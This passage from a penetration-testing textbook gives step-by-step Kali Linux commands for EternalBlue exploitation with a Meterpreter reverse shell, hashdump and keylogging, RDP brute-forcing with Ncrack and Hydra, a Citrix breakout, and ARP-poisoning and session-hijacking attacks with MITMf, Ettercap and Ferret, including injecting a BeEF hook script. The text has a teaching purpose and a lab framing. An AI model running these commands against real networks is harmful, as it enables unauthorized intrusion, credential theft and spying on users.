modules that will require you to set a remote target. You can use the setg
command to set the target globally.

Execute the exploit command. Metasploit will attempt to push the exploit code5.
to the target. Once successful, a shell is created. A shell allows us to remotely
perform commands from our attacker machine on the target, as shown in the
following screenshot:
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At this point, any command that's executed on the console will be executed on6.
the target. Execute the uname -a command to verify and print the system
information:

Often, when performing a simple port scan on both public-facing and internal
systems, port 23 is usually open for remote management. However, port 23 is the
default port that's used for the Telnet protocol. Telnet is an insecure protocol that
allows a user to remotely access a machine over a network and all traffic passing
between the user. Any Telnet-enabled device is unencrypted and is susceptible to
MITM attacks where an attacker can capture user credentials quite easily.

Let's use the search command to find a useful module to check for valid user7.
credentials on a Telnet-enabled device. To begin, use the following command:

search telnet

As usual, a list of results that comply with the search criteria will be presented on8.
the console. For this exercise, we are going to use a specific scanner to check for
validated user accounts:

msf5 > use auxiliary/scanner/telnet/telnet_login

Next, set your remote host(s):9.

msf5 auxiliary(scanner/telnet/telnetlogin) > set RHOSTS
10.10.10.100

If you have a word list containing different usernames, use the following10.
command (specify the file path):

msf5 auxiliary(scanner/telnet/telnetlogin) > set USER_FILE
<username word list>

Optionally, if you have a password list, use the following command:

msf5 auxiliary(scanner/telnet/telnetlogin) > set PASS_FILE
<wordlist>
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However, if you do not have any word lists, that's OK. You can specify an11.
individual username and password using the following commands:

msf5 auxiliary(scanner/telnet/telnetlogin) > set USERNAME uname
msf5 auxiliary(scanner/telnet/telnetlogin) > set PASSWORD word

Once you're done, use the run command to execute the auxiliary module:12.

 msf5 auxiliary(scanner/telnet/telnetlogin) > run

Be sure to wait a few seconds for the scanner to start. Sometimes, you won't see results
appear immediately on the screen.

We use the run command to execute an auxiliary module, and the
exploit command to execute an exploit within Metasploit.

The following screenshot indicates that a valid username and password were found:

As we've already mentioned, you can use crunch to generate custom word lists to your
liking. Additionally, a set of word lists is located in the /usr/share directory in Kali
Linux:

Technet24
||||||||||||||||||||

||||||||||||||||||||

https://technet24.ir
https://technet24.ir
https://technet24.ir


Network Penetration Testing - Gaining Access Chapter 10

[ 311 ]

Remember that, when performing a password attack or attempting to discover valid user
credentials, the task can be very time-consuming and may not always be in your favor.
However, this illustrates the importance of the reconnaissance (information-gathering)
phase of penetration testing. The more details we are able to gather about the target, the
more we'll be able to narrow down a wide range of attacks to specific ones for a particular
system or network infrastructure.

Next, we are going to attempt exploitation and gain access to a target system, that is,
Microsoft Windows.

EternalBlue exploitation
Let's attempt to exploit a Windows system and get a shell. For this exercise, a Windows 7, 8,
8.1, or 10 operating system can be used as the target/victim machine. The following is a 
diagram of my lab topology displaying the IP assignments for the attacker and victim
machines:

If your IP scheme is different, ensure that you record the IP addresses of each machine
before continuing, as you'll need them. Let's get started:

First, let's attempt to run a vulnerability scan on the target Windows system. The1.
following snippet is the result of using the nmap --script vuln
10.10.10.19 command:
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The highlighted area indicates that our target is vulnerable to a remote code
execution attack for the Microsoft security bulletin ID ms17-010, known as
EternalBlue. Further research into this vulnerability tells us that the target is
vulnerable to exploits by WannaCry, Petya, and other malware.

The EternalBlue vulnerability allows an attacker to perform remote code
execution on a Microsoft SMBv1 server.

Within the Metasploit Framework (MSF) console, use the search ms17-0102.
command to filter the results for EternalBlue exploits, as shown in the following
screenshot:
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The MSF console returned a few results. We will use the3.
ms-17-010_eternalblue exploit and the Meterpreter reverse TCP payload to
attempt a reverse connection (reverse shell) from the victim's machine back to
our attacker machine. To achieve this task, use the following commands, as
shown in the following screenshot:

After executing the exploit, you'll now have a meterpreter shell. The4.
meterpreter shell will allow you to communicate seamlessly between your
attacker machine and the victim's operating system.

According to SANS (www.sans.org), Meterpreter is a payload within the
Metasploit framework that provides control over an exploited target
system, by running as a DLL that's been loaded inside any process on a
target machine.

Using the hashdump command, you'll be able to retrieve the password hashes of
all locally stored user accounts on the victim's machine:

The usernames of the accounts are always displayed in plain text, as shown in the
preceding screenshot.
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The hashdump command within Meterpreter is used to retrieve user
accounts within a Windows system. A user account is made up of three
components: the security ID (SID), username, and password. The
password is converted into an NTLM hash and stored in newer versions
of Windows. In an older version of Windows, such as Windows XP, the
password is stored using the LAN Manager (LM). Therefore, the
Windows operating system never actually stores the password for a user
account; it stores the hash value instead.

The following are some useful commands that we can use within the
meterpreter shell:

screenshot: Captures a screenshot of the victim's desktop
getsystem: Attempts an escalation of privileges on the target
clearev: Clears event logs
sysinfo: Gathers information about the target

To obtain a shell on the victim's machine, type shell and press Enter:5.

You'll now have a Windows Command Prompt interface on your Kali Linux machine. Now
you'll be able to execute Windows commands remotely.

Now that we have covered exploitation briefly, let's gain access using remote access
systems.
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Penetration testing Citrix and RDP-based
remote access systems
In this section, we will take a look at performing penetration testing on two popular remote
access systems in most IT environments: Citrix and Microsoft's Remote Desktop Protocol
(RDP).

Let's take a deep dive into Citrix and RDP penetration testing and gaining access.

Citrix penetration testing
Most of us have probably heard about Microsoft's RDP, which allows a user to remotely
access another Windows machine across a network within a graphical user interface
(GUI). Citrix is like RDP, but a lot better in terms of performance while providing an
interactive user interface.

Many organizations use Citrix services and products to efficiently distribute access to
applications within an organization. An example of using Citrix is running applications
within an organization's private data center. Using Citrix, IT administrators can provide
access to the users of those applications. Each user would require a modern web browser to
access a virtual desktop interface or centrally access applications in the data center. This
method eliminates the need to install software applications on each employee's computer.
Let's get started:

We can use the Nmap NSE script, citrix-enum-apps, to discover and extract1.
applications. The following is an example of using the script in Nmap:

nmap -sU --script citrix-enum-apps <citrix server IP address>

Additionally, you can specify -p 1604 since the Citrix WinFrame uses both TCP2.
and UDP port 1604.
Once you've found a Citrix machine, you can attempt to connect to published3.
applications by logging on using the following URL:

http://<server IP>/lan/auth/login.aspx

Once you're logged in, click on an application to download a launch.ica file to4.
your desktop. Once the file has been downloaded, open the file using Notepad or
another text editor.
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Look for a parameter called InitialProgram that points to the LIFE UAT5.
application. Change the parameter to InitialProgram=explorer.exe and
save the file.
Double-click on the newly saved file to open the explorer for the Citrix server.6.
This will provide us with the capability to read the lan/auth/login.aspx file
and other sensitive files.
Once you have a Citrix Terminal, the environment may be restricted (blank7.
screen). Open Task Manager and click on File | New Task. The new task
window will open. Type explorer.exe and click OK.
Within Windows Explorer, navigate to the directory holding all .aspx files to8.
confirm you are on the Citrix server.

This technique allows a user to break out of the Citrix virtualized environment. In the next
section, we will perform penetration testing on Microsoft RDP and attempt to gain access.

Now that you have completed this section, let's attempt to exploit one of the most popular
remote access services in an enterprise environment, Microsoft's RDP.

Breaking into RDP
Microsoft's RDP provides a GUI for the user to establish a connection to a Windows-based
system over the network. Quite often, system administrators enable the RDP service on
their client and server machines in an organization for easy access. With RDP enabled on a
device, a system administrator does not need to physically go to the geographic location of
a system to check its configurations or make adjustments to the operating system. All they
have to do is simply log on using RDP. This protocol makes the job of IT professionals a bit
easier and more efficient.

The protocol was designed for remote access. However, as a penetration tester, we can take
advantage of systems that have RDP enabled by attempting to discover valid user
credentials for target systems. Let's get started:

To begin, we can use Nmap to scan a network while searching for any device1.
that has RDP enabled. RDP uses port 3389 on Windows, and so we can use the
following Nmap command to scan a target:

nmap -p 3389 -sV <target IP address>
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The following screenshot indicates a system that has port 3389 open and is
running Microsoft Terminal Services:

Now that we have found a suitable target, we can perform a dictionary attack on2.
the live target. Using Ncrack (an offline password-cracking tool), we can use a
list of possible usernames (usernames.txt) and passwords
(custom_list.txt), as shown in the following screenshot:

The following are descriptions of each of the switches used in the preceding
snippet:

-v: Increases the verbosity of the output on the Terminal.
-T (0-5): Adjusts the timing of the attack. The higher the
number, the faster the attack is.
-U: Allows you to specify a list of usernames.
--user: Allows you to specify usernames, each separated by a
comma.

||||||||||||||||||||

||||||||||||||||||||

https://technet24.ir
https://technet24.ir


Network Penetration Testing - Gaining Access Chapter 10

[ 318 ]

-P: Allows you to specify a list of passwords.
--pass: Allows you to specify passwords, each separated by a
comma.
service://host: Ncrack uses this format to specify a service and
a target device.

As you saw, Ncrack was able to find a valid username and password combination
for the target (10.10.10.19). Thus, having obtained the user's credentials, it's
now simple to use them to our advantage.

At this point, once you've obtained a valid user account, the next step is to3.
actually log in to the target using the RDP and other network services (Telnet,
SSH, VNC, and so on) you found running on the target system.

Another online password cracking tool we could use is Hydra. To use Hydra to perform
the same task we just did with Ncrack, you can execute the following command:

hydra -V -f -L usernames.txt -P custom_list.txt rdp://10.10.10.19

Note that the RDP module within Hydra may not work on modern
versions of Windows. Further information on Hydra can be found on its
official GitHub repository at https:/ /github. com/ vanhauser- thc/ thc-
hydra.

Upon receiving a meterpreter shell in Metasploit, the following are some useful
commands to help you capture keystrokes and the victim's screen:

screenshare: This command is used to watch the remote victim's desktop in
real time.
screenshot: Takes a picture of the victim's desktop.
keyscan_start: Starts keylogging using Meterpreter.
keyscan_stop: Stops keylogging.
keyscan_dump: Produces a dump of the keystrokes captured.
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The following screenshot shows a live screen view of a victim's desktop after executing the
screenshare command in Meterpreter:

As you can see, it's quite scary what a real hacker can do once they have gained access to a
network or system.

You're now able to detect and exploit the EternalBlue vulnerability in the Windows
operating system. Next, we'll take a look at leveraging user credentials for our benefit.

Leveraging user credentials
Now that we have obtained user credentials for a target Microsoft Windows system, let's
attempt to connect remotely. For this exercise, we are going to use the rdesktop client,
which is already pre-installed within Kali Linux. Let's get started:

rdesktop is an open source protocol that's used for remote administration,
similarly to Microsoft's RDP.
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To use rdesktop, open a new Terminal window and use the following syntax:1.

rdesktop -u <username> -p <password> <target's IP address>

The following snippet is an example of using the rdesktop tool with all the
necessary details:

Once you've executed the command, rdesktop will attempt to establish a remote2.
connection to the target device. Once successful, rdesktop will provide a new
window with the target's user interface, as shown in the following screenshot:

At this point, we have successfully gained entry to the target operating system and have
control over it.

If your attacker system does not have the rdesktop tool, it can be found at
its official GitHub repository: https:/ /github. com/ rdesktop/ rdesktop.
For further information on rdesktop, please go to its official website at
www.rdesktop.org.

As you saw, we can simply use native tools within Kali Linux with the victim's credentials
to access resources, systems, and networks during a penetration test. In the next section,
we'll dive into network implants.
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Plugging PWN boxes and other tools
directly into a network
Quite often, penetration testers tend to plant a tiny, special box within an organization's
network. These are known as network implants, and are sometimes referred to as PWN
boxes. Network implants allow an attacker to establish a connection from the internet to a
corporate network, by connecting to the implant tool as shown in the following screenshot:

The following is a photo of a network implant that can be inserted to intercept network
traffic. This device is capable of capturing live packets and storing them on a USB flash
drive. It has remote access capabilities that can allow a penetration tester or system
administrator to remotely access the device, thereby allowing the user to remotely perform
various tasks on the network. This little device is called the Packet Squirrel, and was
created by Hak5:
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Additionally, there's another device that looks like a USB Ethernet adapter. This so-called
Ethernet adapter is also another network implant that allows a penetration tester to
remotely access a network and perform various tasks, such as scanning, exploitation, and
attack pivoting. This little device is called the LAN Turtle, another amazing piece of gear
that was produced by Hak5:

Over the past few years, the Raspberry Pi (www.raspberrypi.org) was introduced to the 
world of computing. Today, many institutions, organizations, and households use the
Raspberry Pi for many projects, from learning, to programming, to home security 
monitoring systems. The possibilities are endless with this little credit card-sized computer:
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However, there are many operating systems that are currently available to the Raspberry
Pi, one of which is the Kali Linux ARM image (https:/ /www. offensive- security. com/
kali-linux-arm-images/ ). Imagine the possibilities of loading Kali Linux into this portable
device, planting it into an organization's network, and setting up remote access. The results
of such a scenario would be grave if it were perpetrated by a real attacker, but a penetration
tester would be able to help their client a great deal by showing them how vulnerable they
are to attacks launched from within the internal network.

There are so many devices and gadgets that facilitate penetration testing that the
possibilities are limitless. In the next section, we will be covering the fundamentals of NAC.

Bypassing NAC
NAC is a system that's designed to control access and ensure compliance. It uses a set of
processes and technologies that are focused on controlling who and what is able to access a
network and its resources. NAC does this by authorizing devices that have a level of
compliance to operate on a corporate network.

Once a device is connected, the NAC server is able to profile and check whether the
connected device has met the standard of compliance before allowing access to the network
resources, security policies, and controls, which are configured to ensure that there is some
form of restriction that prevents non-compliant devices from obtaining network access.

IEEE 802.1x is the NAC standard for both LAN (wired) and WLAN (wireless) networks.
Within an 802.1x network, there are three main components:

Authentication server: The authentication server is the device that handles
authentication, authorization, and accounting (AAA) services on a network.
This is where user accounts are created and stored, and where privileges and 
policies are applied. The authentication server runs either Remote
Authentication Dial-In User Service (RADIUS) or Terminal Access Controller
Access-Control System Plus (TACACS+) as its protocol.
Authenticator: This is typically the network device that you are attempting to
access, whether it be for administration purposes or to simply access the
network. Such devices can be a wireless router/access point or a network switch.
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Supplicant: The supplicant is the client device, such as a smartphone or laptop
computer, that wants to access the network. The supplicant connects to the
network (wired or wireless) and is prompted with an authentication login
window provided by the authenticator. When the user submits their user
credentials, the authenticator queries the authentication server to verify the user
and determine what policies and privileges to apply while the user is logged on
to the network.

Bypassing an NAC system can be somewhat challenging. During the course of this chapter
and the previous chapter, we took a look at how to gather user credentials and spoof the
identity of our attacker machine (Kali Linux). Using the MAC address and user credentials
of a valid user on a target network will provide you with some sort of access to the secure
network.

However, NAC servers are capable of profiling the operating system and anti-malware
protection on all connected devices. If your system does not satisfy compliance
requirements, this can trigger a red flag or not allow access based on policies.

Summary
In this chapter, we were able to cover a lot of practical content, such as breaking both WEP
and WPA wireless encryption standards to recover the key (passphrase). Having exploited
wireless security, best practices were discussed and demonstrated so that we can secure
wireless networks from potential hackers.

Furthermore, a practical approach to penetration testing on both Microsoft's RDP and Citrix
services was covered. Lastly, we covered the uses of various network implants and how
they can maintain remote access to a corporate network.

You now have the skills to gain access to a wireless network, perform exploitation on target
systems, and gain access to both the Linux and Windows operating systems.

In Chapter 11, Network Penetration Testing - Post-Connection Attacks, we'll explore various
tools in the post-connection phase.
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Questions
What algorithm does WPA2 use for data encryption?1.
What Nmap script is used to discover servers running Citrix applications?2.
What is the default port that Microsoft's RDP uses?3.
What are some password cracking tools within Kali Linux?4.
What device is typically used to store all user accounts and policies?5.
Which command can be used to find a module in Metasploit?6.
What is the standard for NAC?7.

Further reading
The following are some additional recommended reading resources:

Metasploit Unleashed: https:/ /www.offensive- security. com/ metasploit-
unleashed/ 

Additional security tools: https:/ / sectools. org/ 
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11
Network Penetration Testing -

Post-Connection Attacks
Gaining access to a system or network is definitely not the end of performing scanning and
further exploitation. Once you've gained entry to a secure environment, such as a target
organization, this is where you'll need to divide and conquer other internal systems.
However, the techniques involved in performing internal scanning are similar to those
mentioned in earlier chapters (Chapter 6, Active Information Gathering). Here, new
techniques will be introduced for scanning, exploitation, privilege escalation, and
performing lateral movements on a network. To elaborate further, you will learn how to
perform Man-in-the-Middle (MITM) attacks using various techniques and tools and see
how to gather sensitive information such as users' credentials.

In this chapter, we will be covering the following topics:

Gathering information
MITM attacks
Session hijacking
Dynamic Host Configuration Protocol (DHCP) attacks
Exploiting LLMNR and NetBIOS-NS
Web Proxy Auto-Discovery (WPAD) protocol attacks
Wireshark
Elevating privileges
Lateral movement tactics
PowerShell tradecraft
Launching a VLAN hopping attack
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Technical requirements
The following are the technical requirements for this chapter:

Kali Linux: www.kali.org
MITMf: https:/ /github. com/ byt3bl33d3r/ MITMf

Autoscan: https:/ / sourceforge. net/ projects/ autoscan/ files/ AutoScan/
autoscan- network%201. 42/ 

Wireshark: www.wireshark.org
Windows 7
Windows 10
Windows Server 2016
CentOS/Ubuntu

Gathering information
During the early parts of this book, we discussed in depth the importance of gathering
information about a target using both passive and active techniques and tools in Kali Linux.
However, when you've compromised a system via exploitation, it isn't the end of the
penetration test. Rather, it's the point from which you will continue onward to exploit
different systems on the organization's network, create multiple back doors, and gain the
highest privileges on various victim devices.

In this section, we are going to perform network scanning using the following tools:

Netdiscover
AutoScan
Zenmap

Let's look at each of these in more detail.

Scanning using Netdiscover
Netdiscover is simply a scanner that leverages the Address Resolution Protocol (ARP) to
discover connected clients on a network segment. ARP operates between the data link layer
(layer 2) and the network layer (layer 3) of the OSI reference model. Devices use ARP to
resolve IP addresses to MAC addresses for local communication.

||||||||||||||||||||

||||||||||||||||||||

http://www.kali.org
https://github.com/byt3bl33d3r/MITMf
https://github.com/byt3bl33d3r/MITMf
https://github.com/byt3bl33d3r/MITMf
https://github.com/byt3bl33d3r/MITMf
https://github.com/byt3bl33d3r/MITMf
https://github.com/byt3bl33d3r/MITMf
https://github.com/byt3bl33d3r/MITMf
https://github.com/byt3bl33d3r/MITMf
https://github.com/byt3bl33d3r/MITMf
https://github.com/byt3bl33d3r/MITMf
https://github.com/byt3bl33d3r/MITMf
https://sourceforge.net/projects/autoscan/files/AutoScan/autoscan-network%201.42/
https://sourceforge.net/projects/autoscan/files/AutoScan/autoscan-network%201.42/
https://sourceforge.net/projects/autoscan/files/AutoScan/autoscan-network%201.42/
https://sourceforge.net/projects/autoscan/files/AutoScan/autoscan-network%201.42/
https://sourceforge.net/projects/autoscan/files/AutoScan/autoscan-network%201.42/
https://sourceforge.net/projects/autoscan/files/AutoScan/autoscan-network%201.42/
https://sourceforge.net/projects/autoscan/files/AutoScan/autoscan-network%201.42/
https://sourceforge.net/projects/autoscan/files/AutoScan/autoscan-network%201.42/
https://sourceforge.net/projects/autoscan/files/AutoScan/autoscan-network%201.42/
https://sourceforge.net/projects/autoscan/files/AutoScan/autoscan-network%201.42/
https://sourceforge.net/projects/autoscan/files/AutoScan/autoscan-network%201.42/
https://sourceforge.net/projects/autoscan/files/AutoScan/autoscan-network%201.42/
https://sourceforge.net/projects/autoscan/files/AutoScan/autoscan-network%201.42/
https://sourceforge.net/projects/autoscan/files/AutoScan/autoscan-network%201.42/
https://sourceforge.net/projects/autoscan/files/AutoScan/autoscan-network%201.42/
https://sourceforge.net/projects/autoscan/files/AutoScan/autoscan-network%201.42/
https://sourceforge.net/projects/autoscan/files/AutoScan/autoscan-network%201.42/
https://sourceforge.net/projects/autoscan/files/AutoScan/autoscan-network%201.42/
https://sourceforge.net/projects/autoscan/files/AutoScan/autoscan-network%201.42/
https://sourceforge.net/projects/autoscan/files/AutoScan/autoscan-network%201.42/
https://sourceforge.net/projects/autoscan/files/AutoScan/autoscan-network%201.42/
http://www.wireshark.org
https://technet24.ir
https://technet24.ir


Network Penetration Testing - Post-Connection Attacks Chapter 11

[ 328 ]

To perform an internal network scan with Netdiscover, observe the following steps:

Execute the following commands:1.

netdiscover -r <network-ID>/<network prefix>
netdiscover -r 10.10.10.0/24

Netdiscover will begin to display all active devices, displaying their IP addresses,
MAC addresses, the vendors of their network interface cards (NICs), and their
hostnames, as shown in the following screenshot:

To perform a passive scan and use the sniffer mode of Netdiscover, use the -p2.
parameter. The following is an example of enabling passive mode:

netdiscover -p -r 10.10.10.0/24

Since passive mode means patiently waiting to detect an ARP message on the wire,
populating the table may be time-consuming as you have to wait for devices to
communicate. The following is a screenshot indicating that passive mode is enabled:
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During a penetration test, always remember to use simple tools to get the job done.
Sometimes, using a complex tool may put you in a situation that means you'll be stuck for
some time. As you will have noticed, the tools that we have been using aren't too difficult to
use in order to complete a given task.

In this section, you have learned how to perform passive scanning using Netdiscover on
Kali Linux. Next, we will learn how to perform network scanning using the AutoScan tool.

Scanning using AutoScan-Network
The AutoScan-Network tool is able to scan and profile devices on a local network segment.

To get started, observe the following steps:

Download AutoScan-Network from the following URL: https:/ / sourceforge.1.
net/projects/ autoscan/ files/ AutoScan/ autoscan- network%201. 42/.

Choose the version as shown in the following screenshot:

Once the file has been successfully downloaded onto your Kali Linux machine,2.
open the Terminal and execute tar -xzvf autoscan-network-1.42-Linux-
x86-Install.tar.gz to extract the content. The following are the descriptions
used in the tar utility:

-x: Used to extract files
-z: Filters the compressed file through gzip
-v: Provides a verbose output
-f: Specifies the file or device
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Next, use ./autoscan-network-1.42-Linux-x86-Install to install the tool,3.
as shown in the following screenshot:

Now that AutoScan-Network has been installed on Kali Linux, it's time to open4.
the application. In the Kali Linux desktop environment, click on Applications |
AutoScan-Network to open the application.
The Network Wizard will open; click Forward to begin the setup of AutoScan-5.
Network.
Next, set the name of your network and click Forward.6.
The wizard will ask for the location of the network; leave it as the default setting7.
(localhost) and click Forward.
Select your network adapter. If you are using a LAN adapter (eth0), leave it as8.
the default and click Forward.
Click Forward on the Summary window to confirm your configurations.9.

Technet24
||||||||||||||||||||

||||||||||||||||||||

https://technet24.ir
https://technet24.ir
https://technet24.ir


Network Penetration Testing - Post-Connection Attacks Chapter 11

[ 331 ]

AutoScan-Network will begin to automatically scan your local network and attempt to
perform fingerprinting of any services found on each device, as shown in the following
screenshot:

Once completed, AutoScan-Network will display all the IP addresses, hostnames, and
services it was able to detect on your local network.

In the next section, we will cover the essential techniques required to perform scanning
using Zenmap.

Scanning using Zenmap
Zenmap is the GUI version of Nmap. It provides the same capabilities and features as its
command-line version. To open Zenmap, use the following steps:

Go to Applications | Information Gathering | Zenmap.1.
Once the application is open, you'll be presented with the following user2.
interface, allowing you to specify a target or range and the type of scan to
perform (profile), as well as allowing you to create and execute customized
scans:
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Once a scan is complete, Zenmap will populate the following information within3.
the tab: Nmap Output, Ports/Hosts, Topology, and Host Details:
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In our exercises, we have been performing a Quick scan on the 10.10.10.0/24 network
and have been able to determine active systems and any open ports.

In this section, you have acquired the skills needed to perform a quick scan using Zenmap.
In the next section, we will learn more about MITM attacks.

MITM attacks
An MITM attack is simply when the attacker sits between the victim and the rest of their
network, intercepting and capturing network packets. The following is an illustration
displaying an attacker (192.168.1.5) who is connected to the same segment as the victim
(192.168.1.10):

By default, the attacker machine will not be able to intercept and capture any traffic
between PC1 and the default gateway (192.168.1.1). However, an attacker can perform
ARP poisoning between the victim and the gateway. ARP poisoning is when an attacker
sends a gratuitous ARP response to a device telling it to update its IP-to-MAC mapping.
The attacker machine will send gratuitous ARP messages to the victim, telling the victim's
machine that the gateway has changed to 192.168.1.1 - CC:CC:CC:CC:CC:CC, and to
the gateway, telling it that PC1 has changed to 192.168.1.10 - CC:CC:CC:CC:CC:CC.
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This would have the effect of all packets exchanged between PC1 and the router being
passed through the attacker machine, which sniffs those packets for sensitive information,
such as routing updates, running services, user credentials, and browsing history.

In the following section, we'll take a look at various tools and techniques for performing a
successful MITM attack on an internal network.

ARPspoof
One of the first tools we will look at is ARPspoof. ARPspoof is used to send fake ARP 
messages to a victim's machine, tricking it into sending its traffic to the attacker's machine
or another gateway on the network. Since we have an idea of how ARP poisoning and
spoofing works, we can jump right into the practice of using this tool. We use the following
syntax:

arpspoof -i <network adapter> -r -t <victim IP address> <gateway IP
address>

In our lab, I'm performing an MITM attack between a victim machine (10.10.10.15) and a
gateway (10.10.10.1), as shown in the following screenshot:

ARPspoof will begin sending gratuitous ARP messages to both devices continuously.
Using Ctrl + C will stop the ARP poisoning attack, and ARPspoof will perform a clean-up 
action to restore a working state between the victim and gateway, as shown in the
following screenshot:
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Once the clean-up has ended successfully, both the PC (10.10.10.15) and gateway
(10.10.10.1) will communicate on the network as originally intended.

Having completed this section, you are now able to perform an MITM attack using
ARPspoof. In the next section, you will learn about MITMf and its features.

MITMf
MITMf is an all-in-one tool for performing various types of MITM attacks and techniques
on a victim's internal network. The features of MITMf include the following:

The capturing of NTLM v1/v2, POP, IMAP, SMTP, Telnet, FTP, Kerberos, and
SNMP credentials. These credentials will allow you to access users' accounts,
systems/devices, file shares, and other network resources.
The use of Responder to perform LLMNR, NBT-NS, and MDNS poisoning
attacks.

To get started with MITMf, follow these instructions:

Install the dependencies packages in Kali Linux using the following command:1.

apt-get install python-dev python-setuptools libpcap0.8-dev
libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev
libxslt1-dev libcapstone3 libcapstone-dev libffi-dev file

Once completed, install virtualenvwrapper:2.

 pip install virtualenvwrapper

Next, you'll need to update the source in the virtualenvwrapper.sh script.3.
Firstly, execute the updatedb command to create an updated database of all the
file locations in the local filesystem. Once completed, use the locate
virtualenvwrapper.sh command to get the file path. Then, execute the
source command followed by the file path, as shown in the following
screenshot:
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Create a virtual environment using the mkvirtualenv MITMf -p4.
/usr/bin/python2.7 command and download the MITMf repository, as
shown in the following screenshot:

Once the repository has been downloaded, change directory and clone the sub-5.
modules:

cd MITMf && git submodule init && git submodule update -
recursive
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Install the dependencies using the following command:6.

pip install -r requirements.txt

To view the help menu, use the following command:7.

python mitmf.py --help

You have now set up MITMf on your Kali Linux machine. Next, let's take a deep dive into
learning about the use cases of MITMf.

Use cases of MITMf
The following are the various use cases of MITMf:

Keep in mind that all attacks should only be performed in a lab
environment and only on networks for which you have obtained legal
permission.

You can bypass HTTPS with MITMf:

python mitmf.py -i eth0 --spoof --arp --hsts --dns --gateway
10.10.10.1 --target 10.10.10.15

-i: Specifies the interface to execute MITMf against
--spoof: Tells MITMf to fake an identity
--arp: Performs redirection of traffic via ARP
--hsts: Loads the sslstrip plugin
--dns: Loads a proxy to modify DNS queries
--gateway: Specifies the gateway
--target: Specifies the target

You can perform an ARP poisoning attack between the gateway (10.10.10.1)
and the entire subnet:

python mitmf.py -i eth0 --spoof --arp --gateway 10.10.10.1

You can perform ARP poisoning between the victim and the gateway
(10.10.10.1):

python mitmf.py -i eth0 --spoof --arp --target
10.10.10.10-10.10.10.50 --gateway 10.10.10.1
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You can perform DNS spoofing while performing an ARP poisoning attack on a
subnet and gateway (10.10.10.1):

python mitmf.py -i eth0 --spoof --dns --arp --target
10.10.10.0/24 --gateway 10.10.10.1

You can perform LLMNR/NBTNS/MDNS spoofing using MITMf:

python mitmf.py -i eth0 --responder --wredir --nbtns

You can perform a DHCP spoofing attack:

python mitmf.py -i eth0 --spoof --dhcp

This attack is useful during the post-exploitation phase.

The IP addressing scheme and subnet information is taken from the config
file.

An HTML iframe can be injected using MITMf:

python mitmf.py -i eth0 --inject --html-url <malicious web URL>

A JavaScript script can be injected:

python mitmf.py -i eth0 --inject --js-url
http://beef:3000/hook.js

You can perform ARP poisoning with the WPAD protocol as a rogue proxy server
using the responder module:

python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --
responder --wpad

The following is an additional list of parameters that can be incorporated:

Screen Capture: This allows MITMf to use HTML5 canvas to get an accurate
image of the client's web browser using the --screen command. Additionally,
you can capture screenshots using a time interval with the --interval
seconds command.
Keylogger: The --jskeylogger command injects a JavaScript keylogger into
the victim's web pages to capture keystrokes.
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Please keep in mind that to view additional parameters for the MITMf tool, you can execute
the python mitmf.py --help command.

Having completed this section, you now have the skill set required to perform various
types of attacks using MITMf. In the next section, we will cover session hijacking attacks.

Session hijacking
In this section, we will perform session hijacking on a target machine on our network. To
perform this attack, we will combine a few other techniques to ensure that it's successful.
Whenever a user visits a website, the web server sends a cookie to the web browser. The
cookie is used to monitor the user's activities and provide a better user experience by
tracking items in a shopping cart, maintaining persistent login while browsing other areas
of a website, and so on.

Session hijacking allows an attacker or penetration tester to capture and take over (hijack)
another user's sessions while the victim is logged into a website. Session hijacking allows
the penetration tester to capture the session token/key, which is then used to gain
unauthorized access to information and resources on a system. For example, capturing the
session of a user who is logged into their online banking portal can allow the attacker to
access the victim's user account without having to enter the victim's user credentials, as
they can simply provide the cookie data to the website/online portal.

Before we begin, we will be using the following topology in our lab network to complete
our exercise:
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To ensure that you complete this exercise successfully, use the following instructions:

Set up an MITM attack using Ettercap-Graphical with Kali Linux. To perform1.
this task, navigate to Applications | 09 – Sniffing & Spoofing | ettercap-
graphical as shown here:

Once Ettercap has opened, click on Sniff | Unified sniffing:2.
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A small popup will appear. Select your Network interface: eth0 and click OK:3.

Scan for all host devices on your network by navigating to Hosts | Scan for4.
hosts:

Once the scan has been completed, click on Hosts | Hosts list to view a list of5.
targets on your network. Select your target and click on Add to Target 1:
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Once the target has been added successfully, enable ARP poisoning on Ettercap6.
by navigating to Mitm | ARP poisoning:

A pop-up window will appear. Select Sniff remote connections. and click on7.
OK:

Next, click on Start | Start sniffing to enable the MITM attack:8.
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Next, we are going to use the Hamster tool to help us manipulate the data. To9.
open Hamster, navigate to Applications | 09 – Sniffing & Spoofing | hamster:

Hamster will open a command-line interface on a new Terminal window and
provide the URL, http://127.0.0.1:1234, which is used to view the session
information:

Next, we will use Ferret to capture the session cookies between the victim and10.
the data's destination. By default, Kali Linux does not have Ferret installed; also,
Ferret is a 32-bit tool. To install Ferret on Kali Linux, use the following command:

dpkg --add-architecture i386 && apt-get update && apt-get
install ferret-sidejack:i386
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Once the installation has completed successfully, navigate to Applications | 09 –
Sniffing & Spoofing | ferret:

Use the ferret -i eth0 command to capture cookies on the Ethernet interface:11.
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Open the web browser on Kali Linux and enter http://127.0.0.1:1234 to12.
access the Hamster proxy interface. Click on adapters:

Select the eth0 adapter and click Submit Query:13.
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Go to the victim's machine and, using the web browser, enter the IP address of14.
Metasploitable. Next, click on Damn Vulnerable Web Application (DVWA).
Then, log in using the username (admin), and the password (password), to
generate some traffic between the victim machine and another system.
On your Kali Linux machine, refresh the Hamster web page. You should now see15.
the victim's IP address appear. Click on the victim's IP address to get more
information:
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Clicking on any of the URLs on the left-hand column will provide an image of16.
what the victim might have seen on their web browser:
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To view a list of cookie/session details, open a new tab on your web browser and17.
enter the URL shown here:

We were able to capture the session cookies for the transactions between the victim's
machine and the web server. Having completed this exercise, you are now able to perform
cookie stealing/session hijacking attacks.

Now that you have completed this exercise, you have the skills required to perform a
session hijacking attack on any network. In the next section, we will cover Dynamic Host
Configuration Protocol (DHCP) attacks.
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DHCP attacks
In many networks, there are hundreds, and even thousands, of end devices such as
desktops, laptops, and smart devices that require network connectivity to access resources
on the corporate network. However, each device requires an address on the network for
sending and receiving messages (packets), a path to access resources outside the local
network (default gateway), an identifier to determine the logical network segmentation
(subnet mask), and someone who can resolve hostnames to IP addresses on a network
(DNS server).

Network administrators must ensure that the following four components are configured on
all end devices:

IP address
Subnet mask
Default gateway
DNS server

The use of a DHCP server allows IT professionals to efficiently distribute IP configurations
automatically to end devices on their network very quickly. To further understand the
importance of DHCP on a network, when a client is connected to a network (wired or
wireless), the client machine broadcasts a DHCP Discover packet on the network in search
of a DHCP server to provide IP configurations. When a DHCP server receives the discover
